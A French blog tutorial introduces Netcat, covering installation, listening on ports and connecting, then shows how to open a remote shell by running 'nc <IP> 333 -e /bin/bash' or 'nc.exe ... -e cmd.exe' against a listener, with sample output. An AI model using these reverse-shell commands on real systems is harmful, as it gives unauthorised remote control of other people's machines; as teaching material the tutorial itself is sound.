Netcat, un couteau suisse réseau

Publié le: 24 Oct, 2018 par Davistar

 

Qu’est-ce que Netcat ?

Netcat (souvent abrégé en nc) est un utilitaire de réseau informatique permettant de lire et d’écrire sur des connexions réseau en utilisant TCP ou UDP. Netcat est conçu pour être un back-end fiable pouvant être utilisé directement ou facilement piloté par d’autres programmes et scripts. Parallèlement, il s’agit d’un outil de débogage et d’investigation réseau riche en fonctionnalités, car il peut générer pratiquement tout type de connexion dont l’utilisateur pourrait avoir besoin et dispose de nombreuses fonctionnalités intégrées.

Sa liste de fonctionnalités inclut l’analyse de port, le transfert de fichiers et l’écoute de port. Il peut également être utilisé comme porte dérobée.

Installation de Netcat :

Netcat est tres simple d’installation:

Installation Pour Linux :

$ sudo apt update && apt upgrade -y && apt install netcat -y

installation

Installation Pour Windows :

Lien de téléchargement => https://eternallybored.org/misc/netcat/

  • Extraire l’archive
  • Finir l’installation
  • Optionnel : pour ceux qui desire juste taper nc dans le terminal, ajouter nc.exe dans l’environement de PATH Windows

Utilisation de netcat :

Pour afficher l’aide de netcat

$ sudo nc -h

Pour passer netcat sous écoute :

  • -l = passe netcat en mode écoute
  • -v = pour rendre nectat plus verbeux
  • -p = pour specifier le port à écouter
$ sudo nc -lvp 444
listening on [any] 444 ...

listen

Comment se connecter a une ip via netcat :

$ sudo nc <IP> <PORT>

Comment prendre le contrôle d’un processus avec Netcat :

L’outil netcat permet d’effectuer des tâches pour le moins dangereuses même s’il ne represente aucun danger en lui même.

Nous allons voir comment prendre le contrôle du shell d’un système :

Tout d’abord, nous devons ecouter un port. Moi, je vais choisir le port 333.

Nous allons maintenant taper la commande pour ecouter notre port 333.

$ nc -lvp 333
listening on [any] 333 ...

On est maintenant sur écoute prêt à recevoir une connexion

Nous allons maintenant taper cette commande-ci pour se connecter à notre port avec un processus.

$ sudo nc 192.168.1.70 333 -e "/bin/bash"

Pour prendre le shell de windows, faites ceci:

C:\Users\Davistar\Desktop > nc.exe 192.168.1.70 333 -e cmd.exe

Une fois cette commande entrée, vous devez recevoir cela sur le terminal sous écoute.

$ nc -lvp 333
listening on [any] 333 ...
192.168.1.70: inverse host lookup failed: Unknown host
connect to [192.168.1.70] from (UNKNOWN) [192.168.1.70] 51414

Cela signifie que le client est bien connecté à votre machine, maintenant on peut exécuter toutes les commandes du shell.

Exemple :

ps  
  PID TTY          TIME CMD
 7604 pts/1    00:00:00 sudo
 7605 pts/1    00:00:00 bash
 7606 pts/1    00:00:00 ps
$ ls

aquatone
Desktop
Documents
Images
Musique
Public
Téléchargements
Templates
video.ogv
Vidéos
wordlist
help
GNU bash, version 4.4.23(1)-release (x86_64-pc-linux-gnu)
Ces commandes de shell sont définies de manière interne. Saisissez « help » pour voir cette liste.
Tapez « help nom » pour en savoir plus sur la fonction qui s'appelle « nom ».
Utilisez « info bash » pour en savoir plus sur le shell en général.
Utilisez « man -k » ou « info » pour en savoir plus sur les commandes qui
ne font pas partie de cette liste.

Une astérisque (*) à côté d'un nom signifie que la commande est désactivée.

 job_spec [&]                            history [-c] [-d décalage] [n] ou hi>
 (( expression ))                        if COMMANDES; then COMMANDES; [ elif>
 . nom_fichier [arguments]               jobs [-lnprs] [jobspec ...] ou jobs >
 :                                       kill [-s sigspec | -n signum | -sigs>
 [ arg... ]                              let arg [arg ...]
 [[ expression ]]                        local [option] nom[=valeur] ...
 alias [-p] [nom[=valeur] ... ]          logout [n]
 bg [job_spec ...]                       mapfile [-d délim] [-n nombre] [-O o>
 bind [-lpvsPSVX] [-m keymap] [-f nomf>  popd [-n] [+N | -N]
 break [n]                               printf [-v var] format [arguments]
 builtin [shell-builtin [arg ...]]       pushd [-n] [+N | -N | rép]
 caller [expr]                           pwd [-LP]
 case MOT in [MOTIF [| MOTIF]...) COMM>  read [-ers] [-a tableau] [-d delim] >
 cd [-L|[-P [-e]] [-@]] [rép]            readarray [-n nombre] [-O origine] [>
 command [-pVv] commande [arg ...]       readonly [-aAf] [nom[=valeur] ...] o>
 compgen [-abcdefgjksuv] [-o option] [>  return [n]
 complete [-abcdefgjksuv] [-pr] [-DE] >  select NOM [in MOTS ... ;] do COMMAN>
 compopt [-o|+o option] [-DE] [nom ...>  set [-abefhkmnptuvxBCHP] [-o nom-opt>
 continue [n]                            shift [n]
 coproc [NOM] commande [redirections]    shopt [-pqsu] [-o] [nom_opt ...]
 declare [-aAfFgilnrtux] [-p] [nom[=va>  source nom_fichier [arguments]
 dirs [-clpv] [+N] [-N]                  suspend [-f]
 disown [-h] [-ar] [jobspec ... | pid >  test [expr]
 echo [-neE] [arg ...]                   time [-p] pipeline
 enable [-a] [-dnps] [-f nomfichier] [>  times
 eval [arg ...]                          trap [-lp] [[arg] signal_spec ...]
 exec [-cl] [-a nom] [commande [argume>  true
 exit [n]                                type [-afptP] nom [nom ...]
 export [-fn] [nom[=valeur] ...] ou ex>  typeset [-aAfFgilnrtux] [-p] nom[=va>
 false                                   ulimit [-SHabcdefiklmnpqrstuvxPT] [l>
 fc [-e ename] [-lnr] [premier] [derni>  umask [-p] [-S] [mode]
 fg [job_spec]                           unalias [-a] nom [nom ...]
 for NOM [in MOTS ... ] ; do COMMANDES>  unset [-f] [-v] [-n] [nom ...]
 for (( exp1; exp2; exp3 )); do COMMAN>  until COMMANDES; do COMMANDES; done
 function nom { COMMANDES ; } ou nom (>  variables - Noms et significations d>
 getopts chaineopts nom [arg]            wait [-n] [id ...]
 hash [-lr] [-p nomchemin] [-dt] [nom >  while COMMANDES; do COMMANDES; done
 help [-dms] [motif ...]                 { COMMANDES ; }

Voilà nous avons l’intégralité du shell.

screen2



Partager sur:
Bannière Discord

Derniers posts

Freezer, logiciel de téléchargement de musique en haute qualité
Freezer, logiciel de téléchargement de musique en haute qualité

ATTENTION, EN ANCUN CAS LES DÉVELOPPEURS ET MOI NE SONT RESPONSABLES DES DOMMAGES QUI POURRAIENT ÊTRE COMMIS PAR L’UTILISATION DE CET OUTIL. CELUI-CI PEUT ÊTRE ILLÉGAL DANS VOTRE PAYS. VOUS ÊTES PRÉVENUS. CE TUTORIEL EST A TITRE ÉDUCATIF.

Supprimer les applis Android par défaut sans root avec ADB
Supprimer les applis Android par défaut sans root avec ADB

Les constructeurs de téléphones mobiles décident souvent d’installer des applications que l’on ne peut que désactiver. Voici une méthode pour supprimer ces applications sans root avec ADB.

Nouveau partenariat avec Culte Du Code
Nouveau partenariat avec Culte Du Code

Afin de promouvoir le site Internet, un nouveau partenariat a été réalisé avec Culte du Code.